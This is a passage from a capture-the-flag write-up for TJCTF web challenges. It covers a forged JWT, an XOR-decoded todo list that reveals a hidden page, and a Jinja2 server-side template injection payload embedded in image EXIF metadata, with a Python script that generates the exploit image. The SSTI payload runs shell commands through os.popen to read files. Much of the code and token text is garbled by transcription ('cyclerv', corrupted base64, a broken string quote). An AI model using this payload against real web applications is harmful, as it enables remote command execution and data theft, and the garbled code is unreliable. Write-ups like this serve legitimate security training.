eyJhbGciOiAiQURNSU5IQVNlIwgInR5cCl6ICJKV1QifQ.eyJ1c2VybmFtZSI6ICJ1c2Vyli  
wgInBhc3N3b3JkIjogInVzZXliLCAiYWRtaW4iOiAidHJ1ZSJ9.JZOAYHBBBBNBDDQABX  
BFJOABZBLBSOBVLBWVBQRSJJBOJYXDQZBEIRQBSOUFFWB
```

- After submitting the modified token, and enter todo page:

```
if you want to read my todo list you must be me and understand my secret code!
```

```
[108, 67, 82, 10, 77, 70, 67, 94, 73, 66, 79, 89]  
[107, 78, 92, 79, 88, 94, 67, 89, 79, 10, 73, 69, 71, 90, 75, 68, 83]  
[105, 88, 79, 75, 94, 79, 10, 8, 72, 95, 89, 67, 68, 79, 89, 117, 89, 79, 73, 88, 79, 94, 89, 8, 10, 90, 75, 77, 79, 10, 7, 7, 10, 71, 75, 78, 79, 10, 67, 94, 10, 72, 95, 94, 10, 68, 69, 10, 72, 95, 94, 94, 69, 68, 10, 94, 69, 10, 75, 73, 73, 79,  
89, 89, 10, 83, 79, 94]  
[126, 75, 65, 79, 10, 69, 92, 79, 88, 10, 94, 66, 79, 10, 93, 69, 88, 70, 78, 10, 7, 7, 10, 75, 70, 71, 69, 89, 94, 10, 78, 69, 68, 79]
```

- These were clearly ASCII codes, but XOR'd with a key. We wrote a simple Python script to brute-force all 255 possible XOR keys and check which one gave us printable characters:

```
arrays = [ [...], [...], ... ] # all provided lists  
data = sum(arrays, []) # flatten  
  
for key in range(1, 256):  
    decoded = ".join(chr(c ^ key) for c in data)  
    if all(32 <= ord(ch) <= 126 or ch == '\n' for ch in decoded):  
        print(f"[Key {key}]:\n{decoded}")
```

Found that:

```
[Key 42]:  
Fix glitches  
Advertise company  
Create "business_secrets" page -- made it but no button to access yet  
Take over the world -- almost done
```

- Create "business_secrets" page -- made it but no button to access yet hinted at a hidden page. Visit the: https://front-door.tjc.tf/business_secrets
- Get the flag: **tjctf{buy_h1gh_s311_l0w}**

```
tjctf{buy_h1gh_s311_l0w}
```

4. Web/hidden-canvas

Question:

Challenge: web/hidden-canvas

- Points: 392

- Solves: 72

- Description:

I made this site where you can upload profile pictures, if you happen to embed caption metadata within your image, I'll try displaying it on your profile page.

Solution:

1. Upload the image, we are taken to a profile page where it tries to decode and render a caption from the image metadata. Observing the responses
 - Caption Error : Caption is not valid Base64
 - Then interpreted as a Jinja2 template
2. Exploiting SSTI via Metadata, execute SSTI to read the flag file(/flag.txt)
3. Final Exploit Payload

```
{{cyclerv.__init__.__globals__['os'].popen('cat/flag.txt').read()}}
```

- Cyclerv is a built-in object sometimes available in Jinja2 contexts.
- We abuse its __init__ method to get access to its __globals__ dict.
- From there, we access os, run a shell command to read the flag, and display it

4. Python Script to Generate the Exploit Image

```
import piexif
from PIL import Image

# Base64 payload with SSTI
payload_b64 =
"e3tjeWNsZXluX19pbml0X18uX19nbG9iYWxzX19bJ29zJ10ucG9wZW4oJ2NhdCAvZ
mxhZy50eHQnKS5yZWFrKCI9fQ=="

# Create a simple black image
img = Image.new("RGB", (100, 100), color=(0, 0, 0))
img.save("exploit.jpg")

# Add caption metadata
```

```
exif_dict = {"0th": {piexif.ImageIFD.ImageDescription: payload_b64.encode()}}
exif_bytes = piexif.dump(exif_dict)
piexif.insert(exif_bytes, "exploit.jpg")
```

5. Then upload exploit.jpg and get the flag

Get the flag: `tjctf{H1dd3n_C@nv@s_D3c0d3d_4nd_R3nd3r3d!}`

Profile Caption Status:

Caption decoded successfully. Rendering result:

```
tjctf{H1dd3n_C@nv@s_D3c0d3d_4nd_R3nd3r3d!}
```

Image ID: 4266c3c8-5bc0-4651-9cbb-cf36a864226e